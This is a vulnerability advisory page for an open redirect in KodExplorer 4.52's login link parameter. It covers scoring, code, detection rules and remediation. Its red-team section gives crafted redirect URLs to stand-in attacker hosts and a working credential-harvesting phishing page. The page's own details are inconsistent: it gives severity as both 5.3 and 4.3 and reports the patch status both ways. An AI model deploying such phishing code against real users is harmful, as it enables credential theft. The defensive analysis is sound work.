☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-34504

CVE-2025-34504 Open Redirect in Kodexplorer
📅 PUBLISHED: 2025-12-11 21:43 UTC 🔄 UPDATED: 2026-09-23 20:32 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.32%
👁️
0.32% probability
8.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-34504 is an open redirect vulnerability identified in KodExplorer version 4.52. The flaw resides in the user login page, where the link parameter is not properly sanitized. An attacker can craft a malicious URL that, after a successful user authentication, redirects the victim to an arbitrary external website. This can be leveraged for phishing campaigns, credential harvesting, or as a stepping stone for further social engineering attacks. The vulnerability has a CVSS score of 4.3 (Medium) and currently has no known patch from the vendor.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

KodExplorer is a self-hosted web-based file manager and code editor. It is not distributed via NPM, PyPI, Go, or Ruby package registries. The primary distribution method is direct download from the vendor's website or GitHub releases. Users should verify the integrity of their downloaded packages and monitor for any official updates or patches.

CVSS Breakdown & Threat Level

  • CVSS Score: 4.3 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
  • Attack Vector (AV): Network – The vulnerability can be exploited remotely.
  • Attack Complexity (AC): Low – No special conditions are required.
  • Privileges Required (PR): None – No authentication is needed to trigger the redirect.
  • User Interaction (UI): Required – The victim must click on the crafted link and log in.
  • Scope (S): Unchanged – The redirect does not affect other components.
  • Confidentiality (C): None – No data is exposed.
  • Integrity (I): Low – The attacker can redirect to a malicious site, potentially leading to credential theft.
  • Availability (A): None – No impact on service availability.

Threat Level: Medium. While the direct impact is limited to redirection, the potential for phishing and credential harvesting elevates the risk.

Deep Dive & Mechanics

The vulnerability exists in the login page of KodExplorer 4.52. When a user accesses the login page, a link parameter can be appended to the URL (e.g., https://target.com/index.php?user/login&link=https://evil.com). After the user successfully authenticates, the application uses the value of the link parameter to redirect the browser without proper validation.

The core issue is a lack of server-side validation of the redirect URL. The application likely uses a function similar to header("Location: " . $_GET['link']); or a JavaScript redirect that trusts the user-supplied input. An attacker can exploit this by crafting a link that appears to be a legitimate login page but redirects to a malicious site after login.

Example Attack Flow:

  1. Attacker crafts a URL: https://victim.com/index.php?user/login&link=https://phishing-site.com
  2. Victim clicks the link and sees the legitimate KodExplorer login page.
  3. Victim enters their credentials and logs in.
  4. After successful authentication, the browser is redirected to https://phishing-site.com, which may mimic the original site to steal credentials or other sensitive information.

Vulnerable vs. Patched Code

Vulnerable Code (KodExplorer 4.52):

// In login controller
$link = $_GET['link'];
// ... authentication logic ...
header("Location: " . $link);
exit;

Patched Code (Hypothetical):

// In login controller
$link = $_GET['link'];
$allowed_hosts = ['example.com', 'app.example.com'];
$parsed_url = parse_url($link);
if (isset($parsed_url['host']) && in_array($parsed_url['host'], $allowed_hosts)) {
    header("Location: " . $link);
} else {
    header("Location: /default_dashboard.php");
}
exit;

The patched version validates the redirect URL against a whitelist of allowed hosts. If the host is not in the whitelist, the user is redirected to a default safe page.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A running instance of KodExplorer 4.52.
  • A controlled external web server (e.g., https://attacker.com).

Exploitation Steps:

  1. Craft the malicious URL:
    https://victim.com/index.php?user/login&link=https://attacker.com/steal.php
    
  2. Distribute the link via email, social media, or other channels.
  3. When the victim logs in, they are redirected to https://attacker.com/steal.php.
  4. The attacker can host a phishing page that mimics the KodExplorer interface to capture credentials.

Example Phishing Page (steal.php):

<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $username = $_POST['username'];
    $password = $_POST['password'];
    // Log credentials to a file
    file_put_contents('creds.txt', "$username:$password\n", FILE_APPEND);
    // Redirect to the real KodExplorer to avoid suspicion
    header("Location: https://victim.com/index.php");
    exit;
}
?>
<html>
<body>
<form method="POST">
    <input type="text" name="username" placeholder="Username">
    <input type="password" name="password" placeholder="Password">
    <input type="submit" value="Login">
</form>
</body>
</html>

Blue Team

Detection Steps:

  1. Monitor web server logs for unusual link parameters containing external domains.
  2. Implement a Web Application Firewall (WAF) rule to block requests with link parameters pointing to external URLs.
  3. Conduct user awareness training to recognize phishing links.

WAF Rule (ModSecurity):

SecRule ARGS:link "!^https?://(www\.)?victim\.com/" "id:1001,phase:2,deny,status:403,msg:'Open redirect attempt blocked'"

Indicators of Compromise (IOCs)

  • URL Pattern: */index.php?user/login&link=* where the link parameter contains an external domain.
  • Log Entry: GET /index.php?user/login&link=https://evil.com in access logs.
  • Network Traffic: Outbound connections to known phishing or malicious domains shortly after a login event.
  • File Artifacts: Presence of creds.txt or similar files on attacker-controlled servers.

Detection Engineering

YARA Rule

rule Detect_KodExplorer_Open_Redirect {
    meta:
        description = "Detects open redirect attempts in KodExplorer 4.52"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-34504"
    strings:
        $redirect_param = "link=" nocase
        $login_page = "user/login" nocase
        $external_domain = /https?:\/\/[^\/]+\.[^\/]+/ 
    condition:
        $redirect_param and $login_page and #external_domain > 0
}

Sigma Rule

title: KodExplorer Open Redirect Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2025-34504 open redirect in KodExplorer
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - 'user/login'
            - 'link='
        cs-uri-query|re: 'link=https?:\/\/[^\/]+\.[^\/]+'
    condition: selection
falsepositives:
    - Legitimate internal redirects (if any)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-34504 KodExplorer Open Redirect Attempt"; flow:to_server,established; content:"GET"; http_method; content:"user/login"; http_uri; content:"link="; http_uri; pcre:"/link=https?:\/\/[^\/]+\.[^\/]+/Ui"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable External Redirects: Modify the login controller to only allow redirects to internal paths (e.g., /index.php or /dashboard).
  2. Input Validation: Implement strict validation of the link parameter. Only allow relative paths or whitelisted domains.
  3. WAF Rules: Deploy WAF rules to block requests with external URLs in the link parameter.

Long-Term Fix:

  • Apply an official patch from the vendor once available.
  • Upgrade to a patched version of KodExplorer.
  • Conduct a security audit of the application to identify similar vulnerabilities.

Workaround:

  • If patching is not possible, consider using a reverse proxy to strip or validate the link parameter before it reaches the application.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-34504/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.